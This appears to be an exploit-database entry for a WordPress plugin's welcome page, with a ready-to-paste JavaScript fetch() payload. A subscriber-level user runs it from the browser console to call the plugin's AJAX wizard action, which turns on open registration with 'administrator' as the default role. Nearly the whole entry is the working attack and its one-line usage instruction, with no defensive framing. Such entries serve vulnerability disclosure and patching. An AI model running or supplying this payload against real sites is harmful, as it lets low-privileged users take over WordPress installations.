Share
## https://sploitus.com/exploit?id=WPEX-ID:11703E49-C042-4EB6-9A5F-6E006E3725A0
Run the below command in the developer console of the web browser while being on the on the welcome page of the plugin (/wp-admin/admin.php?page=pgc-simply-welcome) as a subscriber, this will enable registration with a default administrator role.

fetch( '/wp-admin/admin-ajax.php', {method:'POST', headers:{'Content-Type': 'application/x-www-form-urlencoded'}, body: 'action=pgc_sgb_action_wizard&nonce=' + PGC_SGB_WELCOME_PAGE.nonce + '&props=' + JSON.stringify({options:{users_can_register: 1,default_role: 'administrator'},type: 'update_option'}) } );